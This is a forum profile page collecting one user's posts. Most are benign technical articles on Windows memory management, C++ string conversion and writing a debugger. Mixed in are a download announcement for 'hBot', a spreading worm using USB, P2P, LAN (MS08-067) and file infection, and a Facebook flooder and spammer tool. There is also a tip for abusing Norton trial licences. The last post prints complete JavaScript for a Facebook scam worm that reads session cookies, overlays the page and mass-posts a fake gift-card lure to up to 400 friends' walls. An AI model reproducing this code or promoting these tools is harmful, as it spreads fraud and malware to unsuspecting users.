-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
Windows Memory Management What is Windows Memory Management? - Overview Microsoft has, as of operating system versions Vista SP1 and Windows Server 2008, implemented new technologies, for both resource allocation and security. Several of these new technologies include the Dynamic Allocation of Kernel Virtual Address Space (including paged and non-paged pools), kernel-mode stack jumping, and Address Space Layout Randomization. Basically, the allocation of resources are not fixed, but are dynamically adjusted according to operational requirements. The implementation of these new technologies such as Address Space Layout Randomization are mostly due to the hacker threat of an advanced knowledge of the location of key system components (such as kernel32.dll, ntdll.dll, etc), and are partly due to the Window’s goal of using memory allocation more efficiently by allocation on an as needed basis. In order to understand these new technologies better and be able to use them as a developer, device driver writer, or system’s administrator, this paper will focus on the Windows Memory Manager prior to Vista SP1. How Does the Windows Memory Manager Work? The purpose of this paper is to therefore give a conceptual understanding to those who have struggled with memory management as a whole and to explain why these newer technologies have evolved. It will start with a general view of the Windows Memory Manager, to get more specific as to how Windows manages used and unused memory. To illustrate how memory works, tools from the TechNet SysInternals web sites will be described for memory leaks. The paper will conclude with a brief description of paging lists. The OS Maps Virtual Addresses to Physical Addresses. Because the virtual address space might be larger or smaller than the physical memory on the machine, the Windows Memory Manager has two first-in-rank responsibilities. The first is to translate, or map, a process's virtual address space into physical memory so that when a thread is running in the context of that process reads or writes to the virtual address space, the correct physical address is referenced. The second one is paging some of the contents of memory to disk when it becomes overcommitted. That is, when running threads or system code try to use more physical memory than is currently available-and bringing the contents back into physical memory as needed. One vital service provided by the Memory Manager includes memory-mapped files. Memory-mapping can speed-up sequential file processing due to the fact the data is not sought randomly, and it provides a mechanism for memory-sharing between processes (when they are referencing the same DLL, as there must be only one instance at a time of any DLL. Most virtual pages will not be in physical memory (RAM), so the OS responds to page faults (references to pages not in memory) and loads data from disk, either from the system swap file or from a normal file. Page faults, while transparent to the programmer, have an important impact on performance, and programs should be designed to minimize faults (again, if the data was stored in register, this would prevent reading data from a file on disk or locating data stored in memory to then read that data to write to the system memory address bus connected to the CPU). The wizards from SysInternals contend that the concern is not that there is one process that is hard page faulting, but rather a collection of them hard page faulting. This hard page faulting causes the system to thrash and is a clear indication the system needs more memory. Dynamic memory allocated in heaps must be physically in a paging file. The OS’s memory management controls page movement between physical memory and the paging file and also maps the process’s virtual address to the paging file. When the process terminates, the physical space in the file is deallocated. Windows provides an illusion of a flat virtual address space (4GB), when in reality, there is a much smaller amount of physical memory. The hardware memory management unit of today’s microprocessors provides a way for the OS to map virtual addresses to physical address and it does this in the granularity of a page. The Windows Memory manager implements a demand paged virtual memory subsystem which is another way of saying that it is a lazy allocator. In other words, if you launch an application such as Notepad, it does not launch the entire application and appropriate DLLs into physical memory. It does so as the application demands: as Notepad touches code pages, as it touches data pages, it's at that point where the memory manager will make a connection between virtual memory and physical memory, reading in contents off disk as needed. In short, it is a common misconception that the memory manager reads the entire executable image off of the disk. An example of this can be illustrated using process monitor and setting the filter to something that has been run since a reboot, say, solitaire. After launching solitaire, solitaire is on the disk. Solitaire, as it starts up, is causing page faults, reading pieces of its own executable off of the disk on demand. When you stop the logging of the trace-gathered information and look, you will see an example of a process, sol.exe, reading sol.exe: it is reading itself, faulting itself onto disk. As features of Solitaire are used, you will see sol.exe reading various DLLs, as those DLLs are being virtually loaded -- only the pieces being read are being loaded. Another component of the Windows Memory Manager is memory sharing. For instance, if you have two instances of Notepad, the common misconception is that there are two copies of Notepad and associated DLLs loaded into physical memory. The Windows memory manager will recognize that is a second instance of Notepad, an image that already has pieces of it in physical memory and will automatically connect the two virtual images to the same underlying physical pages. The important part of process startup and applications can take advantage of that and share memory. On 32 bit Windows, 2 GB for each process (user), and 2 GB for the system. Just like applications need virtual memory to store code and data, the operating system also needs virtual memory to map itself, the device drivers that are configured to load, and also to store the data that is maintained by the drivers and the OS (kernel memory heaps). Tools that indicate memory usage often show virtual memory, physical memory, and the working set. The virtual memory counter does not offer a lot of information when troubleshooting memory leaks; virtual memory is used to map the code and data of an application, and an amount that is kept on reserve; that is, most virtual pages will not be in physical memory, so the OS responds to page faults (references to pages not in memory) and loads data from the disk. Therefore the virtual memory counter is not effective when troubleshooting. The private bytes counter indicates the number bytes of private memory that is private to a process -- it cannot be shared with another process. For instance, if you launch Notepad and start typing in text, no other process is interested in that data, so it is private to that process. What About Memory Leaks? How do we determine if we have a memory leak and if so, how do we further determine if it is a process leaking the memory, or if it is in kernel-mode, etc. In Task Manager, there is a memusage counter that is often used to trace source of a leaker. But the memusage counter does not actually indicate the private virtual memory for the process. The private bytes counter in task manager would actually be the virtual memory size. This misleads many who would assume that the virtual memory size would indicate that this is the amount of the virtual address space allocation. For reasons such as this, it is better to gather data by using Process Explorer, a freeware utility written by Mark Russinovitch. This tool uses a device driver to extract all of the relevant system information applicable to the version of Windows that you are running and contains a colorful and itemized display of processes, thread activity, CPU usage (perhaps by threads running that are not accounted for that are consuming CPU clock cycles), and all of the other needed counters available in the actual Windows Performance Monitor counters. Three columns needed, particular to this context, are the private bytes, the private delta, and the private bytes history counters that can be found in the “select columns” choice of the View menu tool bar. Process Explorer shows the “process tree” view in order to reveal which processes are running as child processes under the control of a parent process. The differences are reflected in the colors shown in the logic of the user interface. Pink colors indicate service host processes (svchost.exe) that run off of the Services.exe process. The light blue color shows the processes that are running under the same account as the user, as opposed to a SYSTEM or NETWORK account. The brown color shows processes that are call jobs, which are simply a collection of processes. These counters can be dragged and dropped to show the private bytes column next to the private bytes delta (in which if a negative number pops up means that a process is releasing memory), and the private bytes history. If there is a process leak, it will not be related to the Task Manager memusage counter. The private bytes, the private bytes delta, and the private bytes history, are counters that can be set to examine private virtual memory to determine if it is a process is leaking memory. A case in point is that a process can be using an enormous amount of virtual memory, but most of that could actually not be in use, but kept on reserve. But the private bytes history counter column shows you a relative comparison of private bytes usage in a process with respect to all other processes running in the system. To examine this, download the SysInternals tool TestLimit.exe (or TestLimit64.exe if it is a 64 bit system you're running).The ‘m’ switch on this tool will leak the amount of specified private bytes every one half a second. That is, if you type c:\windows\system32> testlimit –m 5 you are leaking 10 MB of private bytes per second. With Process Explorer open and the private bytes, the private bytes delta, and the private bytes history (a weighted graph indicated by the width of the yellow) counter columns in view, you would see a growth in the cmd.exe process that would depart from a flat yellow line and approach a thick yellow line in the private bytes history counter column. The private bytes delta column would not show a negative sign to the left of any numerical figure, but only a positive number to indicate that it is not releasing any memory. Control-C the testlimit program and the memory is recycled back to machine. What would happen if we did not Control-C (terminate) the process? Would it have exceeded the amount of virtual address space allocated? It would, in fact, be stopped sooner than that by reaching an important private bytes limit called the “commit limit”. The system commit limit is the total amount of private virtual memory across all of the processes in the system and also the operating system that the system can keep track of at any one time. It is a function of two sizes: the page file size(s) (you can have more than one) + (most of) physical memory. The amount of physical memory that the operating system assigns to each process is called its working set. Every process starts out with an empty or zero-sized working set. As the threads of the process begin to touch virtual memory addresses, the working set begins to grow. When the operating system boots up, it has to decide how much physical memory will be given with respect to each process, as well as how much physical memory it needs to keep for itself to both store cached data and to keep free.So the sizes of the working sets of individual processes are ultimately determined by the Windows Memory Manager. The Windows Memory Manager monitors the behavior of each process and then determines the amount of physical memory based on its memory demands and paging rates. In effect, the Windows Memory Manager decides if a process needs to grow or shrink, while trying to satisfy all of these process’s demands as well as the demands of the operating system itself. The above would indicate that application launching would be a time-consuming operation. As of Windows XP, Windows introduced a mechanism to speed up application launching called the logical prefetcher. Windows monitors the page faults (recall that during application start-up, the process reads itself, faulting itself, reading pieces of its own executable, off of disk on demand) during application start-up, and further defines the start-up as the first ten seconds of an application's activity. It saves a record of this information in a prefetch folder that resides in the Windows directory. Deleting these files would only harm system performance because these .pf files were written by a system process and the data was extracted from the kernel. So in terms of the working set, the Task Manager shows this working set with the memusage counter. Process Explorer shows the current and peak working set numbers in a separate counter. The peak working set is the most physical memory ever assigned to a process. Windows automatically shares any memory that is shareable. This means the code: pieces of any executable or DLL. Only one copy of an executable or a DLL is in memory at any one time. This also includes an instance Terminal Server. If several users are logged on and they are using Outlook, one copy of Outlook is read off of disk (or the demanded pieces of it) to be resident in memory. If one user starts using other features of Outlook, they are read off on demand. If a second user starts using those same features, they are already resident in memory. This apart from parts of the executable and the DLLs, file data is also shared. To reiterate, it is not the memusage or the working set counters that are of help in memory leaks. The working set will grow, and then the Memory Manager will decide that it has gotten too big and shrink it. A quick fix is to sometimes add more memory. If one process is “hard page faulting”, that is not an indication that the system needs more memory, although there is a performance impact. If a collection of processes begin to excessively hard page fault, then this is a clear indication that the system needs more memory. Why memusage Working Set Columns are not Memory Leaker Indicators If the working set keeps growing and it reaches a point, the Windows Memory Manager will block that growth because it has decided that this working set is too big, and there are other consumers of physical memory. If, at this point, the process begins to leak virtual memory but is not physically using any more memory, the Memory Manager begins to reuse the physical memory to store new data that it might be referencing through the newly allocated virtual memory. The working set is growing as the threads are touching virtual address spaces and the process is touching different pages that have been brought into the working set; at some point the Memory Manager says enough to that process; that there others that need just as much as you do. So as a process requests a page, the memory manager takes away a page, and, obviously takes the oldest pages away first. That is, pieces of the working set that have not been accessed for the longest time are pulled out. When those pages are pulled out, they are not overwritten, zeroed out, or destroyed, because they do represent a copy of data that was once being used by this process. So Windows keeps those on several paging lists. To understand the performance counters so as to use them and determine if your system needs more physical memory, it is necessary to delve into the internals of how the Windows organizes the memory that is not currently owned by a process. This is memory that is not in a working set. The way that the Windows Memory Manager keeps track of this is that it keeps track of this unassigned memory in one of four paging lists. These unowned pages are organized by type: Free page list Modified page list Standby page list Zero page list It is necessary to start out with the modified and standby page list first. When the Memory Manager pulls a page out of a process's working set, it is pulling out a page that the process may still need. It may have to be reused by that process; it may (being on the standby or modified page list) represent code or a DLL of an image and be reused by another process. The list that the page goes to depends on whether or not the page has been modified or not. If the page gets written to, then the Memory Manager has to ensure that the page gets written back to the file that it came from. That file might be a file that came from disk, such as a data file that is mapped into the process's address space. If the process modifies that page and it gets removed from the processes working set, then the Memory Manager has to make sure that page makes it back to that file on disk that was being modified. If the file has been modified but does not represent data mapped into the virtual address pace, then it may represent private data to that process that it might want to use again. Pages that have not been modified go to the standby list. The modified page list is called the "dirty" list and the standby page list is called the “clean" list. After pages have been written to disk, those pages move from the modified list to the standby list. The pages on the modified or standby list that are brought back into the working set are called soft faults -- not paging file reads or mapped file reads -- because there is no disk I/O. If the data being referenced is no longer in memory because it is back on the file on disk or back on the paging file, then the system would incur a hard fault and have to do a paging read operation and bring it back into memory. The free page list doesn't exist when the system boots and only grows when private memory is returned to the system. Private memory would be a piece of a process address space such as a buffer that contains the text that you have typed into Notepad. When Notepad exits, whether you have saved that data or not, the memory inside the Notepad process address space that contains that private memory is returned to the free list. For example, if you launch Notepad and start typing text, that data is not usable by any other process. The keystrokes are buffered; so other process is interested in that data saved or not. So that memory is returned to the free page list. Private process memory is never reused without first being zeroed.This free page list is where the Memory Manager goes when it needs to perform a page read. When a page fault is occurring, the Memory Manager is going to an I/O that is going to overwrite the contents of the page completely. So when the Memory Manager has a page fault and it needs to find a free page to read a piece from the file in from the disk, it goes to the free list first (if there is anything there). When, however, the free page list gets to be a certain size, a kernel thread called the zero page thread is awakened (this thread is the only thread that runs at priority 0). Its job is to zero out those dirty pages so when Windows needs zeroed pages, it has them at hand. References The Sysinternals Video Library: Troubleshooting Memory Problems, by Mark Russinovitch and David Solomon Windows Internals 4th Edition written by Mark Russinovitch and David Solomon Windows Systems Programming 2nd Edition written by Johnson M. Hart Sursa: Windows Memory Management - CodeProject
-
Converting ANSI to Unicode and back Doc Lobster String conversion using the C++ Standard Library only Having just looked at ASCII strings to Unicode in C++[^], here's my preferred solution to this part of the never-ending story of string conversion: #include <locale> #include <string> std::wstring widen(const std::string& str) { std::wstring wstr(str.size(), 0); #if _MSC_VER >= 1400 // use Microsofts Safe libraries if possible (>=VS2005) std::use_facet<std::ctype<wchar_t> >(std::locale())._Widen_s (&str[0], &str[0]+str.size(), &wstr[0], wstr.size()); #else std::use_facet<std::ctype<wchar_t> >(std::locale()).widen (&str[0], &str[0]+str.size(), &wstr[0]); #endif return wstr; } std::string narrow(const std::wstring& wstr, char rep = '_') { std::string str(wstr.size(), 0); #if _MSC_VER >= 1400 std::use_facet<std::ctype<wchar_t> >(std::locale())._Narrow_s (&wstr[0], &wstr[0]+wstr.size(), rep, &str[0], str.size()); #else std::use_facet<std::ctype<wchar_t> >(std::locale()).narrow (&wstr[0], &wstr[0]+wstr.size(), rep, &str[0]); #endif return str; } Yes, it does look nasty - but it is the way to go in pure C++. Funny enough, I never found any good and comprehensive documentation on C++ locales, most books tend to leave the topic unharmed. By using the standard constructor of std::locale in the functions, the "C" locale defines the codepage for the conversion. The current codepage can be applied by calling std::locale::global(std::locale("")); before any call to narrow(...) or widen(...). One possible problem with this code is the use of multi-byte character sets. The predefined size of the function output strings expects a 1:1 relationship in size() between the string formats. Sursa: Converting ANSI to Unicode and back - CodeProject
-
Introduction Building your very own debugger is a great way to understand the workings of a commercially available debugger. In this article, the reader will be exposed to certain aspects of the OS and CPU opcode (x86-32-bit only). This article will show the working of breakpoints and working of OutputDebugString (since we will be handling these two events only) used commonly while debugging. Readers are urged to investigate conditional breakpoint and step wise execution (line by line) that are commonly supported by most debuggers. Run to cursor is similar to breakpoint. Background Before we start, the reader will require basic knowledge of OS. Discussion related to OS is beyond the scope of this article. Please feel free to refer to other articles (or write to me) while reading this. The reader would be required to be exposed to commercially available debuggers (for this article: VS2010) and have debugged applications before using break points. Break Points Breakpoint allows users to place a break in the flow of a program being debugged. The user may do this to evaluate certain conditions at that point in execution. The debugger adds an instruction: int 3 (opcode : 0xcc) at the particular address (where break point is desired) in the process space of the executable being debugged. After this instruction is encountered: The EIP is moved to the interrupt service routine (in this case int 3). The service routine will save the CPU registers (all Interrupt service routines must do this), signal the attached debugger, the program that called DebugActiveProcess(process ID of the exe being debugged) look up MSDN for this API. The debugger will run a debug loop (mentioned in code as EnterDebugLoop() in file Debugger.cpp). The signal from the service routine will trigger WaitForDebugEvent(&de, INFINITE), the debug loop (mentioned in the code as EnterDebugLoop) will loop through every debug signal encountered by WaitForDebugEvent. After processing the debug routine, the debugger will restore the instruction by replacing 0xcc (int 3) with the original instruction and return from the service routine by calling ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE). (Before placing the break point, the debugger must use ReadProcessMemory to get the original BYTE at that memory location). When it returns from an interrupt service routine (using IRET), EIP will point to the next byte to be executed, but we want it to point to the previous byte (the one we restored), this is done while handling the break point. Although a break point service routine is being processed (its EIP is pointing somewhere in a service routine), GetThreadContext will return the value of registers before EIP moves to int 3 service routine. Subtract EIP by 1, use SetThreadContext to set the EIP. OutputDebugString This API is used to display a string on the debug console, the user may use this to display certain state related information or trace. When this API is occurs, OUTPUT_DEBUG_STRING_EVENT event is triggered. An attached debugger will handle this event in the debug loop (mentioned in the code as EnterDebugLoop). The event handling API will provide information of the string relative to the Debuggee's process space. Use ReadProcessMemory to acquire the string (memory dump) from another process. Using the Code The attached code must be referred to at all times while reading this article. The break point (opcode: 0xcc) is introduced by: BYTE p[]={0xcc}; //0xcc=int 3 ::WriteProcessMemory(pi.hProcess,(void*)address_to_set_breakpoint, p, sizeof(p), &d); The second parameter which requires the address where the break point instruction is placed is looked up in a .PDB file (debug symbol file). Through the .PDB file, VS2010 can accurately place the break point at a memory location corresponding to the line of code responsible for generating instructions at that memory location. The above method is commented out, the reason being that I cannot accurately place the break point since I am not using any debug symbols, instead I use ::DebugBreak(); to cause a break point in the process being debugged, refer to the code. Readers are encouraged to try using WriteProcessMemory API instead, I cannot use it for this article as the value of the address :2nd parameter in WriteProcessMemory is not known unless you compile the code (and hope that the OS will allocate the same value for EIP). Break Point Created by VS2010 To readers who have to debug (any) application using VS2010 - if the break point is placed in code (its executable is created with debug setting) using VS2010 IDE (by pressing F9), the memory debug view will not show 0xcc. Reader will have to dump the memory at the point where the break point is created, of course the address location will have to be looked up through the disassembly (since you are currently debugging the application, you could press ALT-8). In the attached code, I have used the value of EIP, we get the value of EIP from the following code (code comments make this self explanatory): UINT EIP=0; //declare some variable _asm { call f //this will push the current eip value on to stack jmp finish f: pop eax //get the last value from the stack, in our case value of eip mov EIP,eax //store the value of eip in some memory push eax //restore the stack ret //return finish: } // print the memory dump BYTE *b=(BYTE*)EIP; for(int i=0; i<200; i++) printf("%x : %x \n",EIP+i,b[i]); The main loop (used by the debugger) refers to void EnterDebugLoop() in file Debugger.cpp. WaitForDebugEvent API is used to handle debug events for any process attached to the callers process using DebugActiveProcess (debuggee's process ID). WaitForDebugEvent(&de, INFINITE); //will wait till a debug event is triggered switch (de.dwDebugEventCode) { case EXCEPTION_DEBUG_EVENT: switch(de.u.Exception.ExceptionRecord.ExceptionCode) { case EXCEPTION_BREAKPOINT: MessageBoxA(0,"Found break point","",0); break; } break; case OUTPUT_DEBUG_STRING_EVENT: { char a[100]; ReadProcessMemory(pi.hProcess,de.u.DebugString.lpDebugStringData, a,de.u.DebugString.nDebugStringLength,NULL); //mentioned earlier to read memory //from another process. printf("output from debug string is: %s",a); } break; } ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE); // After the debug event // is handled, Debugger must call ContinueDebugEvent will enable the debugger to continue (that thread) that reported the debug event. Points of Interest Now we know that it's easy to write your very own debugger / profiling tools. After the basics of writing a simple debugger, readers are encouraged to write more complex debuggers. Sursa: Write Your Own Debugger to Handle Breakpoints - CodeProject
-
Norton Internet Security 2011 – 360 de zile licenta GRATUITA By Radu FaraVirusi(com) on June 9, 2011 Symantec a lansat generatia 2011 pentru produsele sale de securitate Norton: Norton Antivirus 2011 siNorton Internet Security 2011. Pentru cel din urma puteti avea licenta GRATUITA pentru 360 de zile. Iata ce aduc nou aceste produse (lista va fi completata pe masura ce apar informatiile pe site-ul oficial): Interfata grafica noua Performance Monitoring Performance Monitoring este o componenta noua. Ofera alerte cu informatii bazate pe performantele aplicatiilor. Daca o aplicatie consuma prea multe resurse: CPU, RAM, scrie multe date pe hard-disk, sau acceseaza prea multe programe Norton va alerta asupra acestor lucruri. Download Intelligence 2.0 Download Intelligence a fost introdus pentru Internet Explorer si Mozilla Firefox in produsele Norton 2010. In acest an s-a adaugat suport pentru multe alte aplicatii (sau portaluri) folosite pentru descarcari (downloading) Reputation Scan Reputation Scan este o caracteristica noua pentru Holmes. Aceasta extinde facilitatile oferite de File Insight si Norton Insight din produsele NIS/NAV 2010. Reputation Scan permite utilizatorului sa adune informatii asupra reputatiei unui fisier din orice director specificat de acesta. Norton Bootable Recovery Tool Wizard Aceasta optiune noua va crea un utilitar bootabil actualizat cu care veti putea scana computer-ul din afara sistemului de operare Windows. Acest utilitar poate fi folosit pentru a crea un disc bootabil pe un CD, DVD sau chiar USB. Pentru a descarca si testa Norton Internet Security 2011 GRATUIT timp de 360 de zile folositi urmatoarele promotii: 1. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta I) 2. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta II) 3. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta III) 4. Norton Internet Security 2011 – 90 de zile GRATUIT (oferta I) 5. Norton Internet Security 2011 – 90 de zile GRATUIT (oferta II) Pentru a obtine 360 de zile (aproape 1 an) licenta GRATUITA, descarcati cele cinci kituri de mai sus si instalati-le pe rand. Dupa expirarea unuia, folositi Norton Removal Tool pentru a dezinstala produsul: Download Norton Removal Tool 2011.0.5.13 Free - A program that can remove some Norton software from your computer - Softpedia Apoi instalati al doilea kit, samd. Puteti folosi si fiecare oferta separat si apoi sa instalati alt antivirus, daca vi se pare complicata metoda descrisa. Sursa: Norton Internet Security 2011 – 360 de zile licenta GRATUITA
-
Salveaza in acelasi folder in care se afla cred. Oricum, nu afiseaza un MsgBox cu locatia dupa ce il salveaza? Nu mai stiu...
-
A, mai dau si eu banuri fara avertismente. Exista utilizatori care posteaza numai la caterinca, care fac o gramada de posturi stupide, inutile, offtopic, care deci sunt in plus. Specific cate ceva la motiv. De asemenea, nu stau sa dau mii de avertismente, daca vad ca un utilizator deschide 100 de topicuri vechi de exemplu, sua face 15 posturi de offtopic la topicuri tehnice interesante, ii dau ban fara sa mai dau avertismente. E cam acelasi lucru, ori ii dau 3-4 avertismente, ori ban direct, efectul e acelasi.
-
Pentru ce ai primit ban? In primul rand spune ce cont aveai sa vedem ce ai postat? Eu dau avertismente, rar dau ban permanent. Si da, si eu dau avertisment daca faci o cerere la Programe Hack sau ceva asemanator, pentru ca nu imi face placere sa mut zeci de topicuri. De obicei, dupa ce un admin/moderator da ban direct pentru un post, specifica intr-un post ulterior ce l-a determinat sa faca acea actiune.
-
Facebook Black Box Flooder, Spammer, Liker, Auto-Adder
Nytro replied to Nytro's topic in Programe hacking
Mie mi-a placut grafica "1337" Ok, dau Close atunci. -
Anti-Rootkit Tool - Tuluka Kernel Inspector Tuluka is a new powerful AntiRootkit, which has the following features: *Detects hidden processes, drivers and devices *Detects IRP hooks *Identifies the substitution of certain fields in DRIVER_OBJECT structure *Checks driver signatures *Detects and restores SSDT hooks *Detects suspicious descriptors in GDT *IDT hook detection *SYSENTER hook detection *Displays list of system threads and allows you to suspend them *IAT and Inline hook detection *Shows the actual values of the debug registers, even if reading these registers is controlled by someone *Allows you to find the system module by the address within this module *Allows you to display contents of kernel memory and save it to disk *Allows you to dump kernel drivers and main modules of all processes *Allows you to terminate any process *Is able to dissasemble interrupt and IRP handlers, system services, start routines of system threads and many more *Allows to build the stack for selected device Much more.. Download: Tuluka kernel inspector - Download
-
[C++] hBot [uSB|P2P|LAN|INFECT] hBot private // Made by t0fx // Website: malwares-in.net // anti's (threatexpert,anubis...) // rot13 encryption // Shared folders' spread // LAN spread using ms08-067 // undetected USB spread // P2P spread // Rar and exe's infection // Supersyn // working with xp / vista / seven Download: http://www.multiupload.com/3CP8Y00SRQ Sursa: [C++] hBot [uSB|P2P|LAN|INFECT] - r00tsecurity
-
Facebook Black Box Flooder, Spammer, Liker, Auto-Adder Nu l-am descarcat, nu l-am incercat, nu stiu daca e infectat, executati pe riscul vostru. Finally it's done! Here it is, newest tool for Facebook! Facebook Black Box Features are: > Wall Flooder - Floods the wall of your slave > Inbox Flooder - Floods the inbox of your slave > Status Flooder - Floods with your status message > Comment Spammer - Spam comments of a random link > Mass Likes - Likes all the posts of your slave > Random Friend Adder - > Poke - Pokes your slave (once) > User ID Checker Notes: > Please update your .NET Framework to the latest version! > Don't PM me questions regarding this program. Post your questions here. > Before you log in your account, make sure it isn't logged in to another browser. > If you can't log in, clear the cache of your IE. > I made this on Windows Vista Ultimate 32-bit. So there is still some compatibility issues on other OS. Screenshots: Virus Scan: File Info Report date: 2010-05-04 18:38:01 (GMT 1) File name: Facebook_Black_Box.exe File size: 543744 bytes MD5 Hash: 56d523ca48800a48f5a64ef3cc5b0e25 SHA1 Hash: 6b960d1baf2877cb8f8af72cc5011e0fdff3fe04 Detection rate: 0 on 20 (0%) Status: CLEAN Detections a-squared - - Avast - - AVG - - Avira AntiVir - - BitDefender - - ClamAV - - Comodo - - Dr.Web - - F-PROT6 - - G-Data - - Ikarus T3 - - Kaspersky - - McAfee - - NOD32 - - Panda - - Solo - - TrendMicro - - VBA32 - - VirusBuster - - Zoner - - Scan report generated by NoVirusThanks.org Download Link: MediaFire Sursa: Facebook Black Box - r00tsecurity
-
Topic inchis. Da, e interesant, dar atat. Prea mult spam pentru o porcarie.
-
Beginning ASP.NET 4 in C# 2010 Beginning ASP.NET 4 in C# 2010Publisher: Apress 2010 | 1017 Pages | ISBN: 1430226080 | PDF | 22 MBThe most Up-to-date and comprehensive introductory ASP.NET book you'll find on any shelf, Beginning ASP.NET 4 in C# 2010 guides you through Microsoft's latest technology for building dynamic web sites. This book will enable you to build dynamic web pages on the fly, and assumes only the most basic knowledge of C#. Download: http://freakshare.com/files/3btryk3f/Begin_Asp.rar.html http://hotfile.com/dl/117376760/63a97b1/Begin_Asp.rar.html http://www.duckload.com/download/5578745/Begin_Asp.rar http://www.filesonic.com/file/961998914/Begin_Asp.rar http://www.fileserve.com/file/GGz7gG5Sursa: Beginning ASP.NET 4 in C# 2010 - r00tsecurity
-
Facebook Scam Source Code Virus It will do a facebook chat to all your friends and tell them to join this Facebook group in which you allow it to access your privacy settings. It then tells you to sign up on a site to access your personal information. function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } var user_id = readCookie("c_user"); var user_name = document.getElementById('navAccountName').innerHTML; var coverpage = function() { var boxdiv = document.createElement('div'); boxdiv.id = 'coverpage1'; boxdiv.style.display = 'block'; boxdiv.style.position = 'absolute'; boxdiv.style.width = 100 + '%'; boxdiv.style.height = 100 + '%'; boxdiv.style.top = 100 + 'px'; boxdiv.style.margin.top = 100 + 'auto'; boxdiv.style.margin = 0 + 'auto'; boxdiv.style.textAlign = 'center'; boxdiv.style.padding = '4px'; boxdiv.style.background = 'url(http://1.bp.blogspot.com/-A0gpB7_AX3o/Tc71HASoEXI/AAAAAAAABKs/EjquUCzFw20/s1600/pgvws.png) no-repeat scroll center top'; boxdiv.style.fontSize = '15px'; boxdiv.style.zIndex = 9999999; boxdiv.innerHTML=' <table align="center" cellpadding="5" cellspacing="5" width="400px"><tr align="left"><td valign="middle"><br /><br /><br /><br /><img style="border: 1px solid black;padding:5px;margin:10px;width:140px;height:140px;" src="http://graph.facebook.com/'+user_id+'/picture?type=large" /></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br /><img src="http://i.imgur.com/hRjNi.gif" style="margin-left:20px;padding-left: 5px;"/></td></tr></table>'; document.body.appendChild(boxdiv); } coverpage(); // Setup some variables var post_form_id = document.getElementsByName('post_form_id')[0].value; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; // Chat message variables var this_chat = "omg!! i just got my $1,000 jetBlue giftcard in the mail today!! go get one 2 so we can go somewhere x.co/XFG8"; var prepared_chat = encodeURIComponent(this_chat); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Post Link to friends walls /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var token = Math.round(new Date().getTime() / 1000); var http1 = new XMLHttpRequest(); var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only"; var params1 = ""; http1.open("GET", url1 + "?" + params1, true); http1.onreadystatechange = function () { //Call a function when the state changes. if (http1.readyState == 4 && http1.status == 200) { // If state = success var response1 = http1.responseText; response1 = response1.replace("for (;", ""); // Get rid of the junk at the beginning of the returned object response1 = JSON.parse(response1); // Convert the response to JSON //alert(response4.toSource()); var count = 0; for (uid in response1.payload.entries) { if (count < 400) { //alert("SENT TO "+response1.payload.entries[count].uid); // Loop to send messages // New XMLHttp object var httpwp = new XMLHttpRequest(); var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1"; var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + response1.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=jetBlue&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://i.imgur.com/8TAjs.jpg&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Only 24 Hours Left!!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=jetBlue&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://x.co/XFG8&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Only 24 hours left!&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Get your FREE $1,000 jetBlue card now before time runs out!&attachment[params][images][0]=http://i.imgur.com/8TAjs.jpg&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=omg!! i can't believe they're sending me one!!!&xhpc_message=yesssss GOT ONE SUCKASSSS&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest"; httpwp.open("POST", urlwp, true); //Send the proper header information along with the request httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpwp.setRequestHeader("Content-length", paramswp.length); httpwp.setRequestHeader("Connection", "keep-alive"); httpwp.onreadystatechange = function () { //Call a function when the state changes. if (httpwp.readyState == 4 && httpwp.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpwp.send(paramswp); } count++; // increment counter } http1.close; // Close the connection } } http1.send(null); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Hide chat boxes /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var hide = document.getElementById('fbDockChatTabSlider'); hide.style.display = "none"; 